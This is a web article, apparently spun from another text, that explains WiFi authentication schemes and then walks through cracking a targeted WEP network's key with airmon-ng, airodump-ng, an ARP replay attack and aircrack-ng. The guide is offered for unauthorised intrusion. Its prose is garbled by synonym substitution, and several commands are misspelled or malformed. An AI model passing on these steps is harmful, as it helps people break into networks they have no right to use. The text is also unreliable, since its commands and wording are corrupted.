Configuration blemishes in numerous switches can enable hackers to Hack WiFi Password, regardless of whether WPA or WPA2 encryption is utilized with a solid password.
A wireless system is a system that utilization radio waves to interface PCs and different device together. The execution is done at the Layer 1 physical layer of the OSI. Wireless networks are available to anybody within the router’s transmission sweep. This makes them defenseless against attacks. Hotspots are accessible out in the open places, for example, air terminals, eateries, parks, and so on.
In this article, we will acquaint you with regular strategies used to abuse shortcomings in wireless network security usage.
Wireless Network Authentication
How about we take a gander at probably the most regularly utilized authentication systems.
- WEP : WEP is the acronym for Wired Equivalent Privacy. It was produced for IEEE 802.11 WLAN gauges. Its objective was to give the security equal to that gave by wired systems. WEP works by encoding the information been transmitted over the system to shield it safe from listening stealthily.
- WPA : WPA is the acronym for Wi-Fi Protected Access. It is a security convention created by the Wi-Fi Alliance because of the weaknesses found in WEP. It is utilized to scramble information on 802.11 WLANs. It utilizes higher Initial Values 48 bits rather than the 24 bits that WEP used. It utilizes fleeting keys to encode packets.
- WPA2 : It is short of Wi-Fi Protected Access 2 – Pre-Shared Key which is the most recent and most ground-breaking encryption technique utilized as a part of WiFi networks at the present time.
How to Hack WiFi Password
- Open the terminal in Kali Linux and type the command airmon-ng.
- Then make a system interface which keeps running in monitor mode.
- To do this enter command airmon-ng begin XXXXX. Make a point to supplant XXXX in order with the name that network interface card have.
- Now enter the Command airodump-ng XXXX to examine and list down all the accessible WiFi networks utilizing monitor interface. It can require investment to bring all the accessible WiFi arranges in our range.
- Once the procedure is finished, all the accessible WiFi access points will show up.
- So now you have to choose the WiFi network with WEP Encryption with least PWR value.
- Open another terminal simultaneously and enter the command below;
aidodump-ng - c 1 - w ringer – bssid 00:00:00:00:00:00 XXXX.
- -c 1 : Channel number 1
- – w ringer : To compose information in document “new”
- bssid 00:00:00:00:00:00 : MAC address Selected WiFi access point
- XXXX – network interface card name
- Once done snap Enter and it will begin sending packets to the WiFi
- Next, we should perform ARP REPLAY Attack to the WiFi network to climb the information to the system at a huge rate. Utilize below command
airplay-ng - 3 - b 00:00:00:00:00:00 XXXX
- Where “- 3” is for ARP REPLAY attack. Hit enter and the command will begin doing an attack to WEP WiFi Access point.
- Now you will be able to find a file with “.cap” extension where data is being stored that we will use to crack the password of this WEP WiFi network once we have enough data.
- Once you have enough information in the file, run the command aircrack-ng filename.cap. It will test every one of the data value accessible in key files and naturally demonstrate to you the key it found by testing data in the record.
- That’s it you have effectively hack wifi password of targeted WEP WiFi network.
- Finally enter the hacked key 12:34:56:78:90 without colon as the password of focused WEP hack WiFi Network and it will be connected.
Note : The key found will not be in those text or alphanumeric format that the WiFi owner has created. It will be in hex format.
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